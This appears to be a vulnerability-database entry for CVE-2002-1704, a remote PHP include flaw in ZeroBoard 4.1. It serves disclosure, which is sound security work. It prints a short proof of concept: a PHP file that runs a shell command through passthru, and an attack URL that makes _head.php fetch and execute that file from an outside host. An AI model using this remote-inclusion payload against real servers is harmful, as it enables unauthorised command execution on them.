ZeroBoard 4.1 - PHP Include File Arbitrary Command Execution
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-2002-1704 | 21 Jun 200504:00 | – | cve |
 | CVE-2002-1704 | 21 Jun 200504:00 | – | cvelist |
 | EUVD-2002-1683 | 7 Oct 202500:30 | – | euvd |
 | CVE-2002-1704 | 31 Dec 200205:00 | – | nvd |
source: https://www.securityfocus.com/bid/5028/info
Zeroboard is a PHP web board package available for the Linux and Unix platforms.
Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script.
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/aData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02334